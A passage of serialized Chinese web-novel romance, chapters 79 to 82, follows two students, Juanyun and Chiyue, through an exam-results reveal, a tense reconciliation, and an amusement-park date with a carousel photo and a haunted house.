隽云下意识看了一下手机,发现不是陆思华或者匙越任何其中一个人发来的消息。 “团结友爱,互抱大腿”群聊。 [@云,隽云,你又拿了第一名,恭喜啦!!!] [恭喜恭喜。] [哇,不愧是我隽哥,崇拜崇拜!] [寒假大家都无聊吧?要不找个时间出来聚一聚?我们隽哥重夺第一,隽哥请客!隽哥请客!@云] 【此消息已被群主“清醒也是一种罪?”撤回。】- 清醒也是一种罪?:闭嘴闭嘴!!!!! [?] [?] [?] [-清醒也是一种罪?:啊哈哈今天天气真好。] 往下划还是清一色的问号,隽云未在群里发表任何感言,因为理论上他还是在逃人员。 切屏返回,就看到班群里也有人在艾特他- 班主任棠老师:@所有人,这是这次期末考成绩单,大家看看自己这一学年下来有哪些科目进步哪些不足,下学期是最后一学期了,个别同学成绩下滑严重,尤其要加油了- 班主任棠老师:【图片.jpg】 隽云点开图片。 第一名是他,他往下看,发现前五名都没有匙越名字的影子。 刚想问是不是漏了一个人的成绩,往下翻找着,陆陆续续看过去,在第十九名看到了。 总共二十五个人,排第十九名,也就是说已经进入倒数行列了。 这怎么会是匙越的成绩 从第一掉到班级十九 隽云顺着匙越的每一栏科目成绩看过去,大多数科目都和他差不了几分,有的科目他落后的比较多,但在一些他擅长的科目上又甩了他大十分。 所以总的来说,总分和他应该也差不了多少才对 刚一这么想着,他就看到了有一栏的成绩是0,而那科总分是150分。隽云的目光一凝。 星耀中学的期末考试成绩对他们考大学尤有作用,特别是社会招考生进入星耀中学的学生,会更加抓住每一次的期末考试,以争取在没有足够支撑的家庭背景之下,凭借在星耀中学还不错的成绩申请到名牌大学。 但是匙越放弃了。 最后一门考试没考,是因为要带他逃跑所以才没时间去考试。 但是之前和他一起复习的时候,视频电话里和他分析的头头是道,这类型的题一定会考,那类型的题目出题概率很大 结果他根本不打算参加那一门考试。 隽云把手机砸在床上,整个人泄了力般坐在床上。 这个混蛋 他想匙越那天带他跑出来的时刻,那时候两人笑的那么肆意开怀,想到匙越扰乱他爸妈视听带他躲到自己家,家里所有活都不让他做,不要他的钱也不要他付出什么,只要他这个人。 是城西跨越城东来回最起码两个小时的路程,是匙越每晚陪伴他身边让他安心睡觉不再犯焦虑症的时刻,是每餐都要亲手做,没空还要抽时间给他点饭的时候 手机传来几声震响- 陆思华:恭喜,你是年级第一,我是年级第二- 陆思华:想清楚了的话,我可以去接你—— 作者有话说:十月大破防,be like :[爆哭][爆哭] 猜猜小云朵走了么 评论区发竞猜小红包 第80章 第八十章 “穿内裤了吗?” “砰!” 匙越猛地推开门, 老旧的木门砸在墙上,“吱呀”地反弹回来,环顾客厅一圈, 客厅是那么小,一眼就能看到头, 甚至毫无能遮掩人的家具。 而往常隽云会在沙发的一角,又或者是窗户的旁边等他,见到他回来后会等他洗完后之后来抱一下他。 但是现在没有人在了。 客厅里干净整洁, 走之前做的饭菜甚至被清空, 桌子干干净净,没有剩下的碗筷, 垃圾桶里空空如也,无一不在向他宣告一件事。 隽云把一切都收拾干净,然后走了。 小云朵走了。 他要和他分手, 然后再也不回来了。 他的呼吸声粗重,目呲欲裂,当即拿出手机要拨打他的电话号码,在一声声的“嘟嘟嘟——”中,他拳头捏紧了, 想一拳砸在墙上, 祈祷他会接电话,他会和他解释一切他想听的事情,不要挂断他的电话,他要知道他在哪不能走!!! 求他接电话 “铃铃铃铃铃铃——” 一阵电话铃声响起,从房间里传出。 匙越拿手机附到耳边的手僵住,这是 隽云的电话 “吧嗒。” 卧室的门打开了,隽云出现在他的视线中, 他脸庞白净,穿着一身柔软的白色毛衣,裤子还是今早给他套上的黑色长裤,手里拿着手机。 他看到隽云的食指指关节破了个口子,上面还有干掉的血痕。 “手怎么受伤了?”匙越听到自己看似冷静地这么问。 太不真实了 像是溺在水里的人溺久了终于游到彼岸,从水里挣扎出来大口呼吸的时候,肺部挤压扩张的酸疼感还没袭来,大脑的保护机制让他有一瞬间呆愣懵滞,只能下意识抓住眼前最要紧的事情来问。 隽云看了一眼自己的手指:“哦,刚才回来的时候不小心摔了一跤。” 回来的时候不小心摔了一跤 匙越脑子里全是对这句话做出的阅读理解。 他刚刚果然出门了! 但是他为什么要告诉他,他出门了呢?他那时候果然是看到他的做那些事情了吧? 但是他为什么不跑呢? 为什么还留在他家,为什么还留在他身边 回过神来的时候,他已经拿着他那一袋子药跟在隽云身后巴巴地进了屋子里。 隽云坐在床上,他环顾屋子一圈,一下就看到了床上的书包,以前都是放在一个角落的,此刻却被拿到了床上,再看柜子,柜门已经打开了,而他之前摆放整齐叠的跟块豆腐似的衣服,此刻叠的歪扭,被塞到柜子的最上方,压在他的那些衣服下面。 说明刚才拿出来过。 他刚刚其实是想走的,他不想待在这了。 但是他最终没有选择走。 这是什么意思 匙越又返回客厅拿药,然后回到卧室,心神不定地拿着碘伏隽云的伤口消毒,半跪在地上,西装裤绷紧了。 一只手小心拿着沾着碘伏的棉签,另一只手捧着隽云的一根手指,拿棉签轻轻点了点隽云的伤口。 匙越心里想着事,忍不住抬头,打量隽云的表情,可惜他垂着眼眸看着匙越忙活,没什么表情,看不出来是什么情绪。 只得作罢,匙越就低着头,拿碘伏消完毒之后,从装着药品的袋子里挑挑拣拣,拿出他之前在隽家试点药店买的小云朵牌创可贴,在隽云的伤口上好好包扎了一番。 隽云抬起手指,看着上面的云朵创可贴,可有可不无地扯了扯嘴角,那是一个嘲讽的笑。 这一笑让匙越心里更加忐忑了,但是隽云又没有主动问他那些事情,他也不好先说,只能头皮发麻地问他: “你刚才在干什么呢?” 隽云转头看了看旁边的平板:“下学期的电子书老棠已经发到了群里,我在看下学期要学的内容。” 他也看过去,平板还没有关掉页面,上面显示的是他没见过的内容,不是隽云平常的看的那些全英文全法文课外书,而是一些有例题讲解的课本页面。 “提前预习吗?”匙越的声音已经可以算得上小心翼翼。 “嗯。”隽云面无表情地嗯了一声。 “提前预习好啊,提前预习挺好的”匙越没话找话,问他:“你吃饭了吗?” 隽云又“嗯”了一声。 匙越:“那、那些菜” “我放到厨房里了,不然客厅里有很大的味道。” “噢噢”匙越受宠若惊,没想到隽云还会做家务。 下次可不能让小云朵做了。 而且,他还以为他还以为隽云因为生气,连带着也不想看到那些的碗筷,全倒掉了。 隽云看着他紧张的模样,福至心灵地想,难道他以为他倒掉了? 但其实他还没到那种浪费粮食的地步。 匙越试探性地问:“你之前不是想出门吗?我带你出去好不好?” 隽云还没说什么,匙越就说:“就明天?” 隽云沉默半响,可有可无地“嗯”了一声。 他垂眼看着匙越一身衣服都被雪淋湿了的样子,分明西装革履打了领带,可是这么狼狈,跪着一条腿,上衣褶皱裤腿紧绷,衣襟都湿透了,乌黑的头发淋着白白的雪,拉着他的手放在心口,他的心跳还很快,仰着头看他: “我们明天去约会吧。” 完全祈求的语气,隽云不予理会,踢了踢他的膝盖:“你先去洗澡吧。” “那你等会要去哪?” “匙越。”隽云的脸冷下来:“滚去洗澡。” “”匙越只得起身,他站在床边,一米九个头带来压迫感,以隽云的角度看过去,就发现他现在垂着眼皮,用一种很受伤的表情看着他,活像是他是什么负心媳妇,要趁他去洗澡跑掉一样。 但是,分明是他先骗了他吧? 匙越拎着他的西装外套,转身朝浴室走去。 厕所门关闭的声音传来。 隽云有点头疼,匙越从他眼前消失,他终于能安静一会儿地思考了,他和匙越的关系接下来要怎么办? 关掉平板,把他的书包放到梳妆台面上,脱了鞋重新躺到床上。 说实话,他在酒吧看到匙越拿鞋尖碾过跪着的那人手背,拿烟头烫人时不为所动的表情,那一瞬间他觉得匙越太陌生了。 他觉得他认错人了,但是匙越的长相他又再熟悉不过,匙越做那些事情得心应手,看着别人惨叫发抖,甚至眉头都不皱一下。 其他人叫他老大是真的,连带着之前在房间里找出来的那把枪也是真的。 东城区这么乱,到处都是烧杀抢掠,但是为什么没有人敢来他家闹事?甚至他家附近都很安全,一切都说得通了。 只是当时寒冬腊月天,他站在酒吧的玻璃墙外,看着一墙之隔发生的事情,就像有一盆冷水从上往下浇彻他全身。 不过他现在已经想清楚了。 现在想来,匙越不告诉他,或许也有他的道理 但是也不代表他就能完全做到原谅匙越的欺骗。 “隽云,你在吗?我衣服忘记拿了。”低沉的嗓音从厕所里传出。 隽云起身,纳闷他怎么洗澡都不带衣服的。 在衣柜里随便翻找出来一身上衣和裤子,走到厕所门口,递过去。 门把锁拧动,随后里面的氤氲水汽铺面而来,隽云不由得后退一步。 匙越站在门后,单手手臂粗壮结实,起伏的线条盘虬着青筋,头发打湿了垂下来盖到眉眼,肩膀上搭了一条湿透的毛巾。 他接过隽云递来的衣服,低着头从上而下地看着他,和他说谢谢,隽云就看到他刘海湿漉漉的,睫毛长长的,也湿了,有水滴从睫毛上滴下来。 眼神里透着可怜。 隽云的视线从他满是水珠的俊美脸庞一路往下滑,略过他的胸口上有细密的伤口,心想那时候第一次看到他身上的那些伤时,还以为真的是以前的同学霸凌他,现在想来,是因为他经常打架吧。 毕竟是什么老大呢。 再看到他肌理分明的腹肌,心道他就没有这样的腹肌,估计是因为他不会像匙越那样爱打架吧。 再沿着他腹肌往下 “嗬——” 隽云的眼睛顿时闭起来。 脸上烧红一片,他赶紧抓住门把手狠狠把门关上,伴随着一声关门巨响,是再难以维持冷淡的声音,听着声音似乎都能想象到隽云裂开的表情。 “你怎么不关门!” 地痞流氓吗? “你好像很喜欢看。”匙越很实诚地说。 “”隽云不理他了。 厕所很快又传来了淅沥水声,隽云刚坐在卧室的床上,就听到匙越又在那里喊他: “我的内裤好像没拿。” 隽云没应,他就一直在叫他的名字:“隽云,隽云你在听吗?你还在吗?小云我内裤没拿,小云朵你在吗?” 这个人真的事情很多。 眼见他一声比一声高了,再这样下去隔壁都可能要听到了,隽云只得赶快起身,敲了敲厕所门: “闭嘴。” 果然,匙越就马上没声儿了,花洒声再次传出,这天太冷了,一会儿不开热水,洗澡就能冻感冒。 匙越悻悻然说:“我内裤你没给我拿!” 隽云:“你自己出来拿吧。” 说完后他又冷冷补了一句:“穿衣服出来拿,敢光着你就死定了。” 他相信匙越是能做出来这些事情的,他在他这里的形象已经一落千丈 匙越飞快洗完出来了,一只手拿着个干毛巾还在擦脑袋,另一只手猛地推开门:“隽云——” 小云朵没走吧? 看到床上有一个鼓包,匙越轻手轻脚走过去,手试探地触碰那团鼓起来的被子,略微掀开一点。 隽云马上拽住,不满地用力扯了回去: “你干嘛!” 原来是隽云把自己裹在被子里了。 他一颗心就顿时安定下来了,顾不上擦头发了,干毛巾丢在床上,弯腰凑在那团被子旁边守着: “你要睡觉了吗?” “嗯。” 隽云对他有点冷淡。匙越知道他对他心里还有气,所以对他冷淡也是情有可原的。 他快速在客厅拿吹风机吹干头发之后上床,以为隽云已经睡了,结果刚爬上去隽云的声音就幽幽响起: “穿内裤了吗?” “”这个还真没有。 怕隽云更生气不让他上床或者一气之下自己跑出去了,无奈之下,挂着真空的匙越不得不在柜子里翻找出来他的内裤,三下五除二地套上了。 他们一直都盖的同一床被子,估计隽云以为这里只有一床被子,但是实际上还有一床被子在柜子顶上,他没发现,所以即便吵架了也不得不和他盖着同一床被子,匙越很满意。 就是隽云缩在床的另一头,颇有一种不想和他睡在一起了的架势,让他有点心凉—— 作者有话说:没想到吧!说是请假,欧尼酱最后还是更新了[害羞][害羞]坏掉的电脑中午拿去修晚上就拿到了,就这样赶快上线更新了。[可怜] 评论区发 拉被被 红包《 》 80-90 第81章 第八十一章 “手伸过来。”…… 晚上匙越很晚才睡, 他一直在查明天去哪里约会比较好,是看个电影然后来个浪漫的烛光晚餐比较好,还是去逛一下动物园或者海洋馆再来个烛光晚餐比较好 最终定了游乐园, 这样可以去玩鬼屋,隽云要是害怕的话他就可以顺势搂住他, 说别怕那些都是假的。 还能去坐坐摩天轮,两个人在密闭空间里到达最高处然后深情拥吻 或许可以先去坐个摩天轮。 就这么定了。 顺便给小弟发消息让他们去弄两张游乐园的票过来,去离他们最近的游乐园。 他制定了一个完美无缺的出行计划后才稍微放下心来。 这关乎小云朵会不会原谅他。 一定得度过一个美好的明天。 不过话虽然是这么说, 但是当他放下手机的时候就感觉到不对了, 头有点晕眩,不过只持续了几秒, 所以他以为是凌晨一点还没睡才导致的。 在看到小云朵依旧背对着他睡,离的他远远的时候他一瞬间郁闷,头晕了一下, 又出现了短暂的眩晕,身体有点发热,他清咳了一声。 可能是因为淋了雪有点小感冒,虽然他的身体一向很好,这次会出现这种症状也不是不可能。 但是一定得度过一个美好的明天。 于是早上八点半起来的时候, 即便依旧有点头晕但是可以忽略不计。 手下人送来了票, 匙越拿到后把交代他通知其他人,没什么事的话今天不要发消息打扰他,重要的事找明叔处理。 早餐匙越做了两碗粉,做好后差不多九点了,隽云也起床了,顶着眼下的黑眼圈,板着小脸严肃地吃完了粉。 他昨天晚上失眠了。 因为第一次没有挨着匙越睡。 这是一个很严重的问题, 毕竟明明一开始只要听到匙越的声音就能睡了,现在上升到不被人抱着睡就睡不着了? 隽云觉得这个事情很严重,冷着脸,等匙越收完碗筷洗完之后,两个人一前一后出了门。 出门前匙越给了隽云一个蓝色的围巾,毛绒绒的很暖和,刚好搭他的白色长大衣,顺便遮一下前天晚上留下来的还没消退的吻痕。 隽云走在路上,两手插在兜里,匙越试着牵隽云的手,刚一握住隽云的手腕就被他甩开了。 匙越看着越走越快几乎把他甩在身后的隽云:“” 小云朵真的脾气很大的,不能轻易招惹。 到了游乐园,到处都是卖气球和卖花的,因为今天星期六,人非常多,门口需要排队检票,他们排了五六分钟才到他们。 一进游乐场就看到很多人,匙越伸手牵住隽云:“等会别被人流冲散了。” 隽云这才勉为其难地没有甩开他。 匙越问他:“想玩什么?” 隽云:“随便。” 其实去玩哪个项目都差不多,因为放眼望去哪个项目在排队的人都很多。 眼看匙越打开游乐园平面图,在看他们现在的位置去摩天轮那边要怎么走,隽云拉住他一角的袖口,拽着他走。 匙越抬头看,隽云把他拉去了最近一个摆着□□打气球的摊子前。 摊子前面也有不少人在玩,隽云拿起一把枪塞他怀里,扬了扬下巴示意他:“我要那个。” 示意了一个黄色的气球。 那个气球位置最偏最远,很考验枪法。 但是隽云就要那个。 很难说是不是故意的。 旁边有个的人笑了笑,说:“诶呀那不可能,我看你们还是要么换个位置,要么” 面前高大的alpha不发一言地抬起枪,一只眼睁着一只眼闭起来瞄准,整个人有一种冷酷肃杀的气势,扳机扣动。 随着□□的枪声响起,老板转头看去,黄色的气球已经被一枪爆破,而里面的彩纸飘出来,飘到地上。 隽云冷笑一声,匙越讪讪地放下枪:“随便打的。” “”果然很会打枪。 毕竟是什么老大啊。 混黑的怎么可能不会用枪,当初游学的时候还骗自己玩的是玩具枪。 “哎哟,还别说,你这小孩还挺会打的。”老板夸赞了几句,然后说:“送你们一个黄色的小喇叭要吗?” 匙越看向隽云,摊位前还摆着一些奖品,有红色的旗子、黄色的小喇叭、小鸭子捏捏,还有一些小孩喜欢的小玩具骑士公子摆件。 都是一些不值钱的玩意儿,本以为隽云也不会喜欢,谁知他伸手一指一个不起眼的黄色小鸭子捏捏:“我要那个吧。” 于是摊主就把那个给他了,隽云收在兜里:“走吧。” 匙越付了钱后就跟上他,想牵他的手,但是隽云的两只手都放在兜里,目不斜视地往前走,没给他牵。 隽云的手在兜里摸到刚才的奖品,捏了一下,结果没想到居然会响。 兜里发出了一声绵绵脆脆的:“嘎——” 感受着被捏扁的小鸭子玩具在兜里缓慢回弹,隽云的气势一下就破了:“” 匙越:“你喜欢这个?” 隽云尴尬了一秒:“不喜欢,你误会了。” 匙越若有所思地点头:“好的。” 等回头要给小云朵买几十个捏捏堆在家里给他捏个够。 隽云维持着冷酷的表情,他心想喜欢捏东西的事情不能被匙越发现了。 他这个习惯已经很久了,小的时候就喜欢捏东西,每当感觉到有压力,比如,必须拿到满分的考试,必须表现完美的比赛或者宴会——他就会捏东西来发泄。 等到长大一点,开始吃药控制焦虑失眠的情绪后,他就很少捏了,因为吃药见效更快。 只不过昨天晚上又没睡好。 现在不能依赖匙越入睡了,吃药有副作用也不能靠吃药入睡,就只有再买个捏的来发泄了。 说不定等他捏够发泄完了,以后都甚至不需要匙越陪他睡觉了。 两个人各怀着心思。 匙越问他:“有没有想去玩的项目?” 隽云耸耸肩,随口道:“都可以。” 匙越就一指摩天轮,紫色的摩天轮正缓缓转动,闪着浪漫的光辉:“那我们去坐摩天轮?” 隽云看着离他们有点距离的摩天轮一默,懒得过去了,他选择去坐了同样能旋转的项目——旋转木马。 基本上都是小孩在排队,旋转木马也比摩天轮一轮三十分钟要快,只需要十分钟就能下来,排起队来很快,甚至还能旋转好几圈。 隽云觉得坐旋转木马挺好的,只是匙越看上去有点不太愿意,还在那里看摩天轮的攻略。 不过匙越的意见也不是非常重要,如果实在想去,隽云民主地想,他可以持保留意见 隽云坐在木马上上下起伏,匙越坐在他稍微后面一点的马,不过错开着坐,没有并排坐,只能在后面追他,不过木马也追不上他。 木马的速度相对来说比以前玩过的要快很多。 隽云起初还抓着栏杆,渐渐松了手。 他小时候很少来游乐园,因为他爸妈不会陪他来,他们太忙了,所以他只和保镖来玩过一次。 那时候还是因为文强爸妈带他去玩了,他告诉他有多么好玩,要他一定要去玩,所以他才和父母闹着要去。 结果还是几个保镖带他来的。 那时候也是坐在这样的旋转木马上面,但是感觉很无聊,下面的父母们都在给坐在马上的小孩拍照,欢声笑语里,他只有几个在下面等着他安全下来的严肃保镖。 别说给他拍照了,多余的话都不会对他说。 周围不停围绕着“笑一下”“宝贝比个耶”“宝宝脸转过来”这样的话,让他觉得很无趣,觉得没什么好玩的,没等坐满一圈就闹着要下去了。 思绪回到现在,周围依旧是闹哄哄的小孩嬉笑声,还夹杂着拍照的按动快门的声音,和当年没什么区别,他依旧是觉得自己一个人冷冷清清的,和周围格格不入。 坐在他前面的是两个小孩,他们两个人在尖叫打闹着。 “隽云,手伸过来。” 就在这时,他听到一个声音在他侧后方叫他的名字,隽云一愣,转头看去。 匙越坐在一个独角兽装饰的白马上,马身绘制了姹紫嫣红的彩绘装饰,朝他伸出一只手: “手给我。” 四周吵闹,但是时间仿佛定格下来,他僵硬地伸出一只手,搭在匙越的手心上,触手可及的距离。 以前那些不安定的情绪好像都沉下来了,被另一个人接住,他心跳一下一下地跳着“噗通”“噗通”,震耳欲聋。 怎么办? 旋转木马,好像真的还挺好玩的。 “琦琦!涓涓!转过头来!妈妈给你们拍照!” 相机按动快门的声音:“咔擦。” 隽云手心湿润了一点,侧过脸,看到后面坐着一个omega妈妈,中性打扮,背着一个相机正在拍照,但是不是拍他,而是在拍隽云前面的两个小孩。 相纸从相机里出来,她抽出来甩了甩,兴致勃勃地去看,旁边坐在旋转木马上,拿着水杯,胸前背着书包的另一个alpha妈妈也凑过去看。 看到成像的那一刻,她们失望的说了一句:“什么嘛” “哎呀没拍到。” 前面那两个小孩动来动去的,确实很难抓拍到她们,刚刚她们甚至都没有听话地转过头来。 匙越面带微笑地朝他们说:“是拍到我们了吗?” “不好意思啊,我也不是故意的。”那个omega女性拿着那张报废的照片作势要撕掉,被匙越赶忙阻止了: “不用撕。” 匙越笑的温和:“能给我看看吗姐姐?” 见这个男生还挺有礼貌的,她把那张相纸递给他,相纸的背景是装饰了绚丽软垫的一个个白色木马,两个小孩虚焦了,自动聚焦在近处的人身上。 一个白净的男生侧着脸看向斜后方的男生,那个男生背影高大,手掌宽阔粗粝,朝前面那个男生伸出手。 隽云看到匙越很遗憾地问那个姐姐:“这张相纸好像没对上焦,没拍到你们家的小孩,她们长得很可爱。” 得到别人的夸奖,omega妈妈惊喜道:“是吧,她们真的很可爱啊!!!” 那个alpha妈妈笑笑:“那张没拍好,不过我带了很多相纸,够她拍的了。” “既然没拍好,这张作废的不如就给我们吧,我看刚好拍到我们了。” “啊呀你们要吗?要的话那就给你们好了。” “相纸的钱我转给您。”匙越彬彬有礼。 “不用了不用了” 于是隽云就看到匙越笑着朝他晃了晃相纸,他也看清了相纸的内容,两个孩子虚焦了,木马、旋转杆子扶手似乎都作为他们俩的背景板。 照片里的他递过去手,手指轻轻搭在后面男生的手掌上。 匙越注视着这张意外得来的照片,理论上来说,甚至是他们的第一张合照,喃喃道: “拍到了。” 旋转木马发出轻缓的音乐,他们好像置身于一个巨大的旋转音乐盒,马匹上下起舞,白色的雪花一点点落下。 隽云眨了眨眼,盖住脸上的热意,握住面前的杆子转了回去。 下了旋转木马后,匙越把相纸小心放到口袋里,然后问隽云:“接下来我们去哪?” 隽云:“随便。” “那去坐摩天轮好不好?” 又是摩天轮,不知道匙越为什么对坐摩天轮这么有执念。 “嗯。” 隽云这次允许匙越和他并排走,甚至时不时回应一下他说的话,不过也没有多热情,看起来还是没有想要原谅他的意思。 等走到坐摩天轮的地方,发现摩天轮的队伍居然排了十几米远 太多人了吧 视线落在那些人身上,无一不是身着靓丽打扮酷帅的年轻情侣们,再定睛一看,有的衣服都是一模一样的情侣装,要不然就是颜色不一样但是设计款式一样,一看就是出自同一个品牌的情侣装。 隽云瞥了眼匙越,他穿着一身有型的短黑色棉袄配长裤,头上戴了顶冷帽,显得很酷,自己是一身长款的白色长大衣,衣服质感很好,裤子是米白色的,除了脖子上围了一个格格不入的蓝色围巾——是匙越的。 总的来看,颜色上挺搭,大体上黑白配,也挺像情侣装的。 似乎他们也很适合去坐摩天轮,很适合排在队伍里面。 旁边有人兴奋地拉着对象走过:“我们快去排队,然后在最高点许愿我们永远在一起。” “”隽云把下巴和下半张脸都埋在围巾里了—— 作者有话说:评论区发摩天轮红包 第82章 第八十二章 “被舔。” 匙越问他:“去坐摩天轮吗?” “去什么去。”隽云闷声说:“没看到那里那么多人排队吗?” 匙越还在恋恋不舍地看着, 隽云一把扯过他的袖子:“走吧。” 人太多了。 他们没去坐摩天轮,隽云闷头走在前头,看到一个地方排队的人比较少就过去了, 被塞了两张门票,递过来一个付款码: “一个人108, 两个人打折199,付一下,付完给我看一下就可以和前面的人一起进去了。” 隽云一愣, 手里多了两张门票, 刚想说什么,后面的匙越已经麻利地拿出手机付了款, 非常积极。 前面几十米的地方是一个小屋,牌子上写着两个红色的大字“鬼屋”。 匙越付完钱十分自然地牵住他的手往里面走,完全一扫刚才的沮丧模样, 隽云甚至都挣不开他。 进了鬼屋后,发现里面非常漆黑。 有虫子从他们脚边爬过去,匙越握着他的手紧了紧,似乎很害怕的样子,还往他身边靠了靠。 隽云发现他手的温度有点高。 鬼屋的主题是一座废弃医院, 走道漆黑, 一眼望不到头的幽暗,右边传来声响,隽云看过去,那是一个爬满绿色植物的前台。 有一个穿着白大褂的人坐在桌子后面,额头上满是血,手指也是血,在飞速而机械地打着键盘, 神情偏执麻木,他面前摆着一个满是灰的电脑,但是根本就没有开机。 从这个npc面前走过,四周的墙壁上有垂下来的绿色藤蔓,为了营造恐怖的氛围,角落里堆了骷髅头,一转角,他们差点撞上一个骷髅骨架子。 “”隽云看到的时候没什么感觉,不过匙越倒是猝不及防地被吓了一跳,他往后退了一步。 隽云看了他一眼:“那是假的。” “有点害怕。”匙越圈住他的腰,下巴抵在他的肩膀上说。 “”怂货。 隽云面无表情地心道,还当什么老大呢。 匙越顺势和他十指交握,又挨着他的手臂走,几乎要黏在他身上了,躲在他身后小娇妻样十足,要不是那么大的块头就更好了,隽云非常霸气地单手推开一扇堵在路中间的门。 一眼望去,漆黑的走道两边一扇又一扇虚掩着的病房门,医院推车、沾血的病例纸、挂在墙上的荣誉牌 突然—— 离他们最近的病房门开了,一个什么东西扑过来,隽云只来得及看清来人有着一头脏污的头发,病号服沾着血,满身破烂 这个NPC有点恐怖。 仓皇之下,他往赶紧推开左手边的门。 匙越立马配合他,反手关上门,把张牙舞爪朝他们扑过来的NPC挡在门前面了。 想锁上门,结果发现这门没有锁。 匙越一只手牵着他,一只手臂横档堵着门,门外那个NPC进不来,他发狂了,一边嚎叫嘶吼一边不断地拍门,木门脆弱,甚至开开合合地被推出缝隙来又被合上。 隽云转头看这间屋子,试图寻找能逃生出去的地方。 这是个单间,灯光幽暗,有柜子有桌子,还有两张床,中间有个可以伸缩的帘子,可能是个病床房。 不过四面都是墙,没有窗户或者其他门能逃生。 刚这么想着,就看到房间里的柜子晃荡,一人高的柜子里极有可能藏人,此刻像是印证他的想法一样,“哐当哐当”地响起来,制造出无法忽视的恐怖声响。 但是他们此刻正堵着无法上锁的大门,没有多余的时间去躲避柜子里即将破出来的npc了! 紧急情况下,隽云看到墙上有一行黑色的字体,歪歪扭扭,像是前逃生者留下来的暗号,地上还有碎裂的钢笔: 躲起来!!!只要他们看不到你,就不会攻击你!!! 匙越也看到了,他的手还抵在门上,和隽云对视一眼。 匙越松开他,隽云就跑到床上,拉开被子,于此同时匙越跑过去,下一秒—— 门被破开。 疯病人从门外闯进来,嘶吼嚎叫的声音,匙越一把将隽云护在身下,高高拉起床上的被子,猛地盖在了他们身上,手紧紧压住床单被角的边缘。 就在这时,旁边一直在晃荡的柜子也被猛地踹开来了,“嘭”的一声,柜门砸在墙上,“吱呀”地反弹。 两道怒吼声响起,很快因为没看到人而变得虚下来,他们脚步声拖沓,在这间房子里搜寻他们。 被子里,匙越压在隽云身上,他喘着气,在一片黑暗中感受到了隽云同样急促的心跳。 这很刺激。 这个鬼屋真是来对了。 被子盖过他们头顶,匙越鼻子抵在了他的颈侧,粗重的呼吸,有点痒,隽云不自然地稍微动了动,摸索着,手搭上了他的肩膀,想稍微推开一点。 匙越就稍微往旁边挪了几毫米,用气声说:“别动。” 隽云就不动了,他偏过头,开始聚精会神地听外面的声音,突然感觉脖子有点凉。 他的眼睛睁大了,瞳孔一颤。 匙越 在舔他 匙越身材比他健壮太多,压在他身上他甚至就连动都动不了,四面八方的被子像罩子一样把他们关在密不透风的地方,呼吸交缠,体温急剧升高。 隽云感觉他的脸红温了,但是不敢挣扎,免得动作幅度太大被子就掉下去了,只能咬牙: “外面外面还有人在。” 外面那两个npc在四周找来找去,又在床周围发出一些怪声,估计是知道他们躲在这里了,但是因为规则不能掀开被子,所以就故意在他们周围发出一些声音恐吓他们。 “我知道。”匙越还有闲心和他聊天,嗓音低哑:“我们就躲在这里就好了啊。” 说话的呼吸洒在他的颈侧,让人泛起一身的鸡皮疙瘩。 又一点湿漉麻痒的感觉传来,隽云用力闭了闭眼,手摸索到他的胸口,再往上,堵住他的嘴。 匙越的呼吸被他的隔离,全部喷洒到了他的手心里,连带着湿漉的唇,好烫。 两个人密密相贴,隽云心想,早知道不来玩鬼屋了。 忍了有一分多钟,最后听到外面那两个人见他们一直不出去,终于放弃了,拖沓的脚步声逐渐离他们远去。 又等了一会儿没听到声音了,隽云的膝盖抬起,顶了一下匙越示意他赶紧从他身上滚起来: “好了,他们走了你给我起来!!!” 匙越闷笑几声,他舔了舔唇,从善如流地掀开被子起来,里面暧昧朦胧的气氛终于消散许多,新鲜的空气顿时涌入肺部,他们活动自由了。 隽云坐在床上,他抬手很用力地擦了擦脖子,那种感觉挥之不去。 两人一前一后地出门后,暂时没看到其他npc,到处都是漆黑一片,偶尔亮着红色的暗灯,没听到什么奇怪的声响,说明他们现在还是比较安全的。 “走吧。”隽云说。 “这里怎么这么黑。”匙越牵住他的手,又变得柔弱起来,强调:“不牵手容易走丢。” “” 很烦。 这里根本没几个人,怎么会走丢。 隽云闷着头走在前面不吭声,任由匙越牵着他的手。 中途经过一个被捆在椅子上的病人npc,他看到他们俩后发疯了般地挣扎身上的胶带。 又经过一个闪着红色急症室的房间,不断有血色的手掌拍在玻璃上,形成一个又一个手印,血从五指印上流下来。 匙越被吓了一跳,隽云刚想安慰一下他来着,突然想到了那天看到的事情匙越怎么可能会怕血? 隽云脸色一冷,把他推开:“好好站直了,别黏着我了。” 匙越只得悻悻然灰溜溜地跟着他走,最终找到绿色的安全通道牌子,顺着牌子的指引,他们找到出口,两人从鬼屋里出来了。 出来后外面的太阳还蛮大蛮刺眼的,隽云眯了眯眼适应了一下亮度,刚想抬手,发现手还在被牵着,他晃了晃,示意他松开。 匙越会错意,以为他在撒娇:“怎么了,想喝水?” 隽云莫名其妙,最终他得到了一杯冰凉的果汁。 喝了一口隽云就皱眉:“这么冰?” “是吗?”匙越弯下腰来:“我尝尝?” 隽云下意识把杯子往前凑了一点让他能喝到,结果想起来他们昨天晚上吵架了,不能这么亲密地共用一个杯子了。 把果汁往后拿,想说那个吸管我喝过,你自己再买一杯吧,下一秒匙越就已经含住。 “” 看着那个比平常要红润一点的嘴唇含着他的吸管咕咚喝了几口,凸起的喉结滚动,非常有性张力地喝水,隽云也干涩地咽了咽口水。 他们附近的项目是一个过山车,起伏的轨道在他们头顶上方,一行车驶过,连同尖叫声让人肾上腺素飙升。 杯子抖了一下似乎要拿不稳,匙越就笑眯眯地把果汁杯拿到自己手上:“是有点冰了。 “但是我怎么感觉这么热呢?”匙越说。 隽云这才发现,匙越的脸色确实比平常要更红润一点。 “你不舒服?” “没啊,我很好。” 匙越脸色有点潮红,但他心想,今天晚上还安排了空中餐厅的烛光晚餐,音乐和餐点都点好了。 刚刚他还给手下发了消息让他替他们俩去摩天轮队伍里排队,等会他们还能去坐摩天轮。 他身体好得很,就是有点热,可能是天气有点升温,不过也没多大的事,他们今天一定得度过一个完美的约会日。 小云朵不喝冷的,但是自动贩卖机里的饮料都是冷的,匙越就去旁边的零售店买了瓶常温的水递给隽云。 隽云接过,问他:“现在几点了?” “十一点。” 看着匙越叼着果汁吸管喝果汁,隽云喝了一口常温水,又一轮飞车经过头顶,隽云仰头看着天上,心想今天天气很好,蓝天白云,如果能驰骋在天上,那感觉会很自由很爽。 匙越的声音响在耳畔:“想去坐过山车?” “嗯。”隽云还在抬头看着天上飞驰的过山车出神。 回过神来的时候,转头就看到匙越一只手拿着果汁另一只手拿着矿泉水瓶子,他去找零售店要了个塑料袋装着,朝他走来,示意去坐过山车: “走吧。” 